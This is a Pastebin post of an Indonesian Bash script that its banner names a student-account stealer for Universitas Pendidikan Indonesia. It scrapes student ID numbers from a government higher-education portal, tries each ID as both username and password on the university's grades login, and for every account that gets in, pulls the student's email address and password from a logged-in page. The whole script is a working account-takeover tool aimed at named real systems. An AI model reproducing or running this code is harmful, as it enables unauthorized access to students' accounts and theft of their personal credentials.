indonesian

Project akun mahasiswa

Dec 9th, 2017
397
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Bash 1.97 KB | None | 0 0
  1. #!/bin/bash
  2.  
  3. n=0
  4. m="\033[1;31m"
  5. h="\033[1;32m"
  6. d="\033[0;37m"
  7. b="\033[1;34m"
  8. p="\033[1;37m"
  9. url="https://forlap.ristekdikti.go.id/mahasiswa/detailsemester/QkQ4NzQxQjQtRUM3NC00RTQ1LTg0NDItRjJENTg5NDY0OTk0/20132/"
  10. page="2780"
  11.  
  12. echo -e "${p}==========================================="
  13. echo -e "||${h}    Program pencuri akun mahasiswa     ${p}||"
  14. echo -e "||${h}   Universitas Pendidikan Indonesia    ${p}||"
  15. echo -e "==========================================="
  16. echo -e "[${m}!${p}]${d} Limit NIM yang kita ambil : ${h}$page${p}"
  17. echo -e "[${m}!${p}]${d} Kita coba kumpulkan nim...${p}"
  18. while true; do
  19.     n=$[n+20];
  20.     curl "${url}${n}" -s | \
  21.     grep "<td>" | \
  22.     grep -v "ristek" | \
  23.     awk '{print $1}' | \
  24.     cut -d ">" -f 2 | \
  25.     cut -d "<" -f 1 >> upi1.txt
  26.     echo -e "[${b}*${p}] ${d}$n NIM berhasil tersimpan...${p}"
  27.     if [[ "$n" == "$page" ]]; then
  28.         echo -e "[${m}!${p}] ${d}NIM telah tersimpan...${p}"
  29.         break
  30.     fi
  31. done
  32. cat upi1.txt | sort -u > upi.txt
  33. rm upi1.txt
  34.  
  35. echo -e "[${m}!${p}] ${d}Cek nim ke system nilai...${p}"
  36. cat upi.txt | while read dd; do
  37.     cek="$(curl -i -s -k  -X $'POST' -H $'User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:57.0) Gecko/20100101 Firefox/57.0' -H $'Referer: http://sino2.upi.edu/nilai/' -H $'Content-Type: application/x-www-form-urlencoded' -H $'Upgrade-Insecure-Requests: 1' --data-binary "sps_user_id=${dd}&sps_user_pw=${dd}" $'http://sino2.upi.edu/nilai/login.php' | grep Login | cut -d '>' -f 4 | cut -d '<' -f 1)"
  38.     if [[ "$cek" == "Login" ]]; then
  39.         echo > /dev/null
  40.     else
  41.         echo -e "[${h}+${p}] ${d}User/Password : ${h}$dd${p}"
  42.         echo -e "[${h}+${p}] ${d}Akun email : ${h}$(curl -s -b $(curl -i -X 'POST' --data-binary "sps_user_id=${dd}&sps_user_pw=${dd}" $'http://sino2.upi.edu/nilai/login.php' -s | grep PHPSESSID | cut -d " " -f 2) http://sino2.upi.edu/nilai/table2.php | grep student.upi.edu | cut -d " " -f 2,3 | sed "s/<br>Password: /:/g" | cut -d "<" -f1)${p}"
  43.     fi
  44. done
  45. echo -e "[${m}!${p}] ${d}Pengambilan data mahasiswa selesai..."
Advertisement
Add Comment
Please, Sign In to add comment